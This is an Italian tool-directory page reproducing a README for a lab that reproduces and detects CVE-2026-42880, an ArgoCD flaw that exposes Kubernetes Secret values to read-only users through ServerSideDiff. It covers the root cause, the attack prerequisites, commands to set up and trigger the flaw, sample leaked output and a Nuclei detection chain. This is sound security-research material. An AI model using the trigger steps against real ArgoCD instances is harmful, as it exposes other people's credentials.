Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC_CVE-2026-42880 — Riproduce CVE-2026-42880, una vulnerabilità critica di ArgoCD che espone i Kubernetes Secrets tramite ServerSideDiff. Include configurazione automatizzata del laboratorio, script di attivazione e un template di rilevamento Nuclei per test di sicurezza. | Kitploit
Strumenti/GitHubGitHub/haerin-l/poc_cve-2026-42880
Analisi delle VulnerabilitàExploitPenetration TestingSicurezza CloudConfigurazione ErrataApprendimento e FormazioneLab e Pratica
GitHubhaerin-l/poc_cve-2026-42880

POC_CVE-2026-42880

Riproduce CVE-2026-42880, una vulnerabilità critica di ArgoCD che espone i Kubernetes Secrets tramite ServerSideDiff. Include configurazione automatizzata del laboratorio, script di attivazione e un template di rilevamento Nuclei per test di sicurezza.

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42880 — Esposizione di Secret in ArgoCD tramite ServerSideDiff

Un ambiente di laboratorio per riprodurre e rilevare CVE-2026-42880, una vulnerabilità critica in Argo CD in cui l'handler gRPC ServerSideDiff espone i dati dei Secret Kubernetes a utenti con soli permessi di sola lettura.


Panoramica della vulnerabilità

CampoDettagli
ID CVECVE-2026-42880
GHSAGHSA-3v3m-wc6v-x4x3
CVSS9.6 (Critico) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Versioni affetteArgoCD 3.2.0–3.2.10, 3.3.0–3.3.8
Versioni corrette3.2.11, 3.3.9+
CWECWE-200, CWE-212

Causa principale

serverSideDiff() nell'handler gRPC di ArgoCD chiama la dry-run SSA di Kubernetes e restituisce predictedLive senza chiamare hideSecretData(), esponendo così i valori dei Secret in base64 nella risposta.

root@kitploit:~
Percorso vulnerabile (v3.2.0):
argocd app diff --server-side-diff
  → handler gRPC ServerSideDiff
    → dry-run SSA di Kubernetes (unisce TUTTI i field manager)
      ← predictedLive restituito (include dati del controller esterno)
        ❌ hideSecretData() NON chiamata → valori reali del Secret esposti

Percorso corretto (v3.2.11):
  ...stessa dry-run SSA...
    ✅ HideSecretData() chiamata → valori sostituiti con ++++

Prerequisiti dell'attacco

Tutte e tre le condizioni devono essere soddisfatte simultaneamente:

#CondizioneDettagli
1Versione ArgoCD vulnerabile3.2.0–3.2.10 oppure 3.3.0–3.3.8
2Annotazione dell'applicazioneargocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
3Field manager esterno sui dati del SecretCampi data del Secret di proprietà di un manager non ArgoCD (es. External Secrets Operator, Helm, kubectl)

È richiesto solo il ruolo role:readonly — nessun permesso di scrittura necessario.


Architettura del laboratorio

root@kitploit:~
Macchina Host
├── localhost:30080 ──→ Cluster Kind: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABILE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (sincronizzato da Git)
│                              │    data.*  → external-controller ⚠ (iniettato separatamente)
│                              └── Secret: api-credentials (stessa configurazione)
│
├── localhost:30081 ──→ Cluster Kind: cve-patched (ArgoCD v3.2.11 ✓ CORRETTO)
│                         └── (configurazione identica — solo versione ArgoCD diversa)
│
└── localhost:3010  ──→ Contenitore Docker: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (nessun campo data — prerequisito CVE)

Perché la suddivisione del field manager è importante

root@kitploit:~
Secret db-credentials (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD sincronizza da Git) │
│  data.*      → external-controller (iniettato dallo script di setup)│
└──────────────────────────────────────────────────────────────┘

Dry-run SSA: Kubernetes unisce i campi di entrambi i manager in predictedLive
  → ArgoCD NON possiede data → data non viene mascherato da ArgoCD
  → v3.2.0 restituisce predictedLive senza hideSecretData() → ESPOSTO

Prerequisiti

StrumentoInstallazione
kindbrew install kind
kubectlbrew install kubectl
Docker Desktopdocker.com
CLI argocdbrew install argocd
nucleibrew install nuclei
curl, jq, gitpreinstallati su macOS oppure brew install jq

Requisiti di risorse: 8 GB+ di RAM libera, 15 GB+ di spazio su disco, porte 30080 / 30081 / 3010 disponibili.


Come eseguire

Passo 1 — Imposta l'ambiente vulnerabile (ArgoCD v3.2.0)

root@kitploit:~
bash scripts/01-setup-vuln.sh
# oppure: make setup-vuln

Ci vogliono circa 10 minuti. Al termine:

root@kitploit:~
══════════════════════════════════════════════════════
 Laboratorio ArgoCD vulnerabile pronto!
══════════════════════════════════════════════════════
 Interfaccia ArgoCD: http://localhost:30080
 Password admin  : <generata automaticamente>
 Password viewer : viewerpass123
 File token      : .vuln-viewer-token
══════════════════════════════════════════════════════

Passo 2 — Imposta l'ambiente corretto per confronto (opzionale)

root@kitploit:~
bash scripts/02-setup-patched.sh
# oppure: make setup-patched

Passo 3 — Attiva la CVE

root@kitploit:~
bash scripts/03-trigger-cve.sh
# oppure: make trigger

Output atteso — vulnerabile (v3.2.0):

root@kitploit:~
===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← stato live mascherato
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← predictedLive ESPOSTO!

[ESPOSTO] decodificato: Sup3rS3cr3tDB!Pass#2026
⚠  RISULTATO: DATI DEL SECRET ESPOSTI — VULNERABILE

Output atteso — corretto (v3.2.11):

root@kitploit:~
>   db_password: ++++++++   ← mascherato
✓  RISULTATO: nessun dato smascherato in predictedLive — CORRETTO

Passo 4 — Rilevamento con Nuclei

root@kitploit:~
# Cluster vulnerabile → dovrebbe produrre un risultato [critico]
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# Cluster corretto → nessun risultato
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

Passo 5 — Smantellamento

root@kitploit:~
bash scripts/99-teardown.sh
# oppure: make teardown

Struttura delle directory

root@kitploit:~
argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # Guida setup laboratorio + risoluzione problemi (Inglese)
├── VULNERABILITY_ANALYSIS.md       # Analisi vulnerabilità a livello di codice (Inglese)
├── Nuclei_Template_Report.md       # Progettazione template Nuclei e risultati test (Inglese)
├── Makefile
│
├── REPORT/                         # Report in coreano
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # Cluster Kind: cve-vuln    (porta 30080)
│   └── cluster-patched.yaml        # Cluster Kind: cve-patched (porta 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret senza campo data (prerequisito CVE)
│
├── manifests/
│   ├── application.yaml            # Applicazione ArgoCD con annotazione vulnerabile
│   ├── argocd-cm-patch.yaml        # ConfigMap: TLS disattivato, account viewer, ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (cluster vulnerabile)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (cluster corretto)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # Template di rilevamento Nuclei
│
└── scripts/
    ├── 01-setup-vuln.sh            # Setup automatizzato completo: ambiente vulnerabile
    ├── 02-setup-patched.sh         # Setup automatizzato completo: ambiente corretto
    ├── 03-trigger-cve.sh           # Attiva CVE + confronta entrambi i cluster
    └── 99-teardown.sh              # Rimuove tutte le risorse del laboratorio

Logica di rilevamento del template Nuclei

Il template utilizza una catena HTTP a 4 passaggi per verificare tutti i prerequisiti della CVE senza attivare l'estrazione effettiva del Secret:

root@kitploit:~
Passo 1  GET /api/version
        → estrae argocd_version (nessuna autenticazione richiesta)

Passo 2  POST /api/v1/session
        → autentica come viewer (role:readonly), estrae token

Passo 3  GET /api/v1/applications
        → trova app con ServerSideDiff=true,IncludeMutationWebhook=true

Passo 4  GET /api/v1/applications/{app}/managed-resources
        → verifica: versione nell'intervallo + Secret presente + f:data di proprietà di manager esterno
        → RISULTATO segnalato solo se tutti e 5 i matcher passano (condizione AND)

Riferimenti

  • NVD — CVE-2026-42880
  • GHSA-3v3m-wc6v-x4x3
  • Patch PR #27598
  • Documentazione ArgoCD Server-Side Diff
  • Kubernetes Server-Side Apply

Attenzione: Tutte le credenziali in questo laboratorio sono dati di test fittizi, utilizzati esclusivamente per scopi di ricerca sulla sicurezza. Non utilizzare mai in produzione.

Scarica lo strumento